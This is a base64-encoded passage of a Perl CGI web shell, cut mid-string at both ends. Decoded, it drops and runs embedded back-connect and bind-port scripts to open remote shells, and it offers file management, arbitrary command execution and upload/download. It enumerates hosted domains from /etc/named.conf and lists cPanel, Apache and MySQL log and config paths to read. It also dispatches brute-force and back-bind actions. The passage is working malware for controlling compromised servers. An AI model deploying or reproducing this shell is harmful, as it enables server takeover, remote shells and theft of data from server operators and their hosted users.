HNOQ2dsamJHOXpaU2hUVkVSUFZWUXBPdzBLQ1dOc2IzTmxLRk5VUkVWU1VpazdEUXA5RFFvPSI7CgoJJENsaWVudEFkZHIgPSAkaW57J2NsaWVudGFkZHInfTsKCSRDbGllbnRQb3J0ID0gaW50KCRpbnsnY2xpZW50cG9ydCd9KTsKCWlmKCRDbGllbnRQb3J0IGVxIDApCgl7CgkJcmV0dXJuICZCYWNrQmluZEZvcm07Cgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJhY2twZXJsKTsKCQlpZigtdyAiL3RtcC8iKQoJCXsKCQkJJEZpbGU9Ii90bXAvYmFja2Nvbm5lY3QucGwiOwkKCQl9ZWxzZQoJCXsKCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJhY2tjb25uZWN0LnBsIjsKCQl9CgkJb3BlbihGSUxFLCAiPiRGaWxlIik7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50QWRkciAkQ2xpZW50UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhpdCAwOwoJfWVsc2UKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7CgkJaWYoLXcgIi90bXAiKQoJCXsKCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkKCQl9ZWxzZQoJCXsKCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsKCQl9CgkJb3BlbihGSUxFLCAiPiRGaWxlIik7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXN5c3RlbSgicGVybCAkRmlsZSAkQ2xpZW50UG9ydCIpOwoJCXVubGluaygkRmlsZSk7CgkJZXhpdCAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyAgQXJyYXkgTGlzdCBEaXJlY3RvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUm1EaXIoJCkgCnsKCW15ICRkaXIgPSBzaGlmdDsKCWlmKG9wZW5kaXIoRElSLCRkaXIpKQoJewoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCXsKCQkJaWYoKCRmaWxlIG5lICIuIikgJiYgKCRmaWxlIG5lICIuLiIpKQoJCQl7CgkJCQkkZmlsZT0gJGRpci4kUGF0aFNlcC4kZmlsZTsKCQkJCWlmKC1kICRmaWxlKQoJCQkJewoJCQkJCSZSbURpcigkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJdW5saW5rKCRmaWxlKTsKCQkJCX0KCQkJfQoJCX0KCQljbG9zZWRpcihESVIpOwoJfQp9CnN1YiBGaWxlT3duZXIoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1lICRmaWxlKQoJewoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOwoJCWlmKCRXaW5OVCkKCQl7CgkJCXJldHVybiAiPz8/IjsKCQl9CgkJZWxzZQoJCXsKCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7CgkJCSRncm91cD1nZXRncmdpZCgkZ2lkKTsKCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7CgkJfQoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBQYXJlbnRGb2xkZXIoJCkKewoJbXkgJHBhdGggPSBzaGlmdDsKCW15ICRDb21tID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgLi4iLiRDbWRTZXAuJENtZFB3ZDsKCWNob3AoJHBhdGggPSBgJENvbW1gKTsKCXJldHVybiAkcGF0aDsKfQpzdWIgRmlsZVBlcm1zKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglteSAkdXIgPSAiLSI7CglteSAkdXcgPSAiLSI7CglpZigtZSAkZmlsZSkKCXsKCQlpZigkV2luTlQpCgkJewoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQoJCQlyZXR1cm4gJHVyIC4gIiAvICIgLiAkdXc7CgkJfWVsc2UKCQl7CgkJCSRtb2RlPShzdGF0KCRmaWxlKSlbMl07CgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7CgkJCXJldHVybiAkcmVzdWx0OwoJCX0KCX0KCXJldHVybiAiMDAwMCI7Cn0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1lICRmaWxlKQoJewoJCSgkbGEpID0gKHN0YXQoJGZpbGUpKVs5XTsKCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOwoJCSR5ID0gJHkgKyAxOTAwOwoJCUBtb250aCA9IHF3LzEgMiAzIDQgNSA2IDcgOCA5IDEwIDExIDEyLzsKCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsKCQlyZXR1cm4gJGxtdGltZTsKCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgRmlsZVNpemUoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCWlmKC1mICRmaWxlKQoJewoJCXJldHVybiAtcyAiJGZpbGUiOwoJfQoJcmV0dXJuICIwIjsKfQpzdWIgUGFyc2VGaWxlU2l6ZSgkKQp7CglteSAkc2l6ZSA9IHNoaWZ0OwoJaWYoJHNpemUgPD0gMTAyNCkKCXsKCQlyZXR1cm4gJHNpemUuICIgQiI7Cgl9CgllbHNlCgl7CgkJaWYoJHNpemUgPD0gMTAyNCoxMDI0KSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIEtCIjsKCQl9CgkJZWxzZSAKCQl7CgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7CgkJCXJldHVybiAkc2l6ZS4iIE1CIjsKCQl9Cgl9Cn0Kc3ViIHRyaW0oJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZyA9fiBzL15ccysvLzsKCSRzdHJpbmcgPX4gcy9ccyskLy87CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgQWRkU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgVHJpbVNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXC9cLy9cLy9nOwoJJHN0cmluZz1+IHMvXFxcXC9cXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIExpc3REaXIKewoJbXkgJHBhdGggPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIuJFBhdGhTZXApOwoJbXkgJHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBvblN1Ym1pdD1cIkVuY29kZXIoJ2QnKVwiIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2QnIG5hbWU9J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7CglpZigtZCAkcGF0aCkKCXsKCQlteSBAZm5hbWUgPSAoKTsKCQlteSBAZG5hbWUgPSAoKTsKCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpCgkJewoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQkJewoJCQkJJGY9JHBhdGguJGZpbGU7CgkJCQlpZigtZCAkZikKCQkJCXsKCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOwoJCQkJfQoJCQl9CgkJCWNsb3NlZGlyKERJUik7CgkJfQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsKCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7CgkJJHJlc3VsdCAuPSAiPGRpdj48dGFibGUgd2lkdGg9JzkwJScgY2xhc3M9J2xpc3RkaXInPgoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+CgkJPHRoIHdpZHRoPScxMDAnPkZpbGUgU2l6ZTwvdGg+CgkJPHRoIHdpZHRoPScxNTAnPk93bmVyPC90aD4KCQk8dGggd2lkdGg9JzEwMCc+UGVybWlzc2lvbjwvdGg+CgkJPHRoIHdpZHRoPScxNTAnPkxhc3QgTW9kaWZpZWQ8L3RoPgoJCTx0aCB3aWR0aD0nMjMwJz5BY3Rpb248L3RoPjwvdHI+IjsKCQlteSAkc3R5bGU9Im5vdGxpbmUiOwoJCW15ICRpPTA7CgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGQgPSAmdHJpbSgkZCk7CgkJCSRkaXJuYW1lPSRkOwoJCQlpZigkZCBlcSAiLi4iKSAKCQkJewoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsKCQkJfQoJCQllbHNpZigkZCBlcSAiLiIpIAoJCQl7CgkJCQluZXh0OwoJCQl9CgkJCWVsc2UgCgkJCXsKCQkJCSRkID0gJHBhdGguJGQ7CgkJCX0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgY2xhc3M9J2Rpcic+PGEgIGhyZWY9Jz9hPWd1aSZkPSIuJkVuY29kZURpcigkZCkuIic+WyAiLiRkaXJuYW1lLiIgXTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRkKS4iJywnIi4kZGlybmFtZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oIi4kaS4iLCciLiRkaXJuYW1lLiInKVwiID4iLiZGaWxlUGVybXMoJGQpLiI8L3NwYW4+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpOyByZXR1cm4gZmFsc2U7IFwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsKCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOwoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+PGEgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKTsgcmV0dXJuIGZhbHNlO1wiPlJlbmFtZTwvYT4gfCA8YSBocmVmPSc/YT1kb3dubG9hZCZvPWdvJmY9Ii4kZi4iJz5Eb3dubG9hZDwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGQwbWFpbnM+OwoJY2xvc2UgZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPldhcm5pbmcgISBTaGVsbCBpcyB1c2VkIHRvIHJlZmVyIG5vdCB0byBoYWNrPC9mb250PjwvaDM+IjsKCWlmICgkZXJyKQoJewoJCSRyZXN1bHQgLj0gICgnPHA+QzB1bGRuXCd0IEJ5cGFzcyBpdCAsIFNvcnJ5PC9wPicpOwoJCXJldHVybiAkcmVzdWx0OwoJfWVsc2UKCXsKCQkkcmVzdWx0IC49ICc8dGFibGUgaWQ9ImRvbWFpbiI+PHRyPjx0aD5kMG1haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsKCX0KCWZvcmVhY2ggbXkgJG9uZSAoQGNuenMpCgl7CgkJaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7LykKCQl7CQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZmlsZW5hbWU9IHRyaW0oIi9ldGMvdmFsaWFzZXMvIi4kMSk7CgkJCSRvd25lciA9IGdldHB3dWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsKCQkJJHJlc3VsdCAuPSAnPHRyIHN0eWxlPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+PGEgaHJlZj0iaHR0cDovLycuJDEuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJDEuJzwvYT48L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOwoJCX0KCX0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBWaWV3IExvZwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBWaWV3TG9nCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCWlmKCRXaW5OVCkKCXsKCQlyZXR1cm4gIjxoMj48Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+RG9uJ3QgcnVuIG9uIFdpbmRvd3M8L2ZvbnQ+PC9oMj4iOwoJfQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsKCW15IEBwYXRobG9nPSgJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywKCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2FwYWNoZTIvY29uZi9odHRwZC5jb25mJywKCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsCgkJCScvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvZXJyb3JfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL3N1cGhwX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xpY2Vuc2VfbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbG9naW5fbG9nJywKCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3Mvc3RhdHNfbG9nJywKCQkJJy92YXIvY3BhbmVsL2NwYW5lbC5jb25maWcnLAoJCQknL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmknLAoJCQknL3Vzci9sb2NhbC9waHA1L2xpYi9waHAuaW5pJywKCQkJJy92YXIvbG9nL215c3FsL215c3FsLWJpbi5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWwubG9nJywKCQkJJy92YXIvbG9nL215c3FsZGVycm9yLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2cnLAoJCQknL3Zhci9teXNxbC5sb2cnLAoJCQknL3Zhci9saWIvbXlzcWwvbXkuY25mJywKCQkJJy9ldGMvbXlzcWwvbXkuY25mJywKCQkJJy9ldGMvbXkuY25mJywKCQkJKTsKCW15ICRpPTA7CglteSAkcGVybXM7CglteSAkc2w7Cglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQoJewoJCWlmKC1yICRsb2cpCgkJewoJCQkkcGVybXM9Ik9LIjsKCQl9ZWxzZQoJCXsKCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7CgkJfQoJCSRyZXN1bHQgLj08PEVORDsKCQk8dHI+CgoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvblN1Ym1pdD0iRW5jb2RlcignbG9nJGknKSI+CgkJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImxvZyRpIiBuYW1lPSJjIiB2YWx1ZT0idGFpbCAtMTAwMDAgJGxvZyB8IGdyZXAgJy9ob21lJyIgc2l6ZT0nNTAnLz48L3RkPgoJCQk8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlRyeSIgLz48L3RkPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIiAvPgoJCQk8L2Zvcm0+CgkJCTx0ZD4kcGVybXM8L3RkPgoKCQk8L3RyPgpFTkQKCQkkaSsrOwoJfQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gZGVjb2RlX2Jhc2U2NCgkaW57J2MnfSk7CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKJEFjdGlvbiA9ICRpbnsnYSd9OwoKJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdAoKIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZAokQ3VycmVudERpciA9ICZUcmltU2xhc2hlcyhkZWNvZGVfYmFzZTY0KHRyaW0oJGlueydkJ30pKSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9tcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbgp7CgkmUGVyZm9ybUxvZ2luOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5CnsKCSZQcmludFBhZ2VIZWFkZXIoImQiKTsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCRjaG1vZCBuZSAwKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQlpZihjaG1vZCgkY2htb2QsJGZpbGUpKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0KCQl9Cgl9CgkkcmVuYW1lPSRpbnsncmVuYW1lJ307CglpZigkcmVuYW1lIG5lICIiKQoJewoJCWlmKHJlbmFtZSgkVHJhbnNmZXJGaWxlLCRyZW5hbWUpKQoJCXsKCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCX1lbHNlCgkJewoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCX0KCX0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsKCWlmKCRyZW1vdmUgbmUgIiIpCgl7CgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsKCQlpZigtZCAkcm0pCgkJewoJCQkmUm1EaXIoJHJtKTsKCQl9ZWxzZQoJCXsKCQkJaWYodW5saW5rKCRybSkpCgkJCXsKCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQkJfWVsc2UKCQkJewoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQkJfQkJCQoJCX0KCX0KCXByaW50ICZMaXN0RGlyOwoKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZAp7CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7Cn0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQoJewoJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCX1lbHNlCgl7CgkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCX0KCXByaW50ICZMaXN0RGlyOwp9ZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CglwcmludCAmVXBsb2FkRmlsZTsKfWVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmQnJ1dGVGb3JjZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCXByaW50ICZEb3dubG9hZEZpbGU7Cn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpIAkJCQkj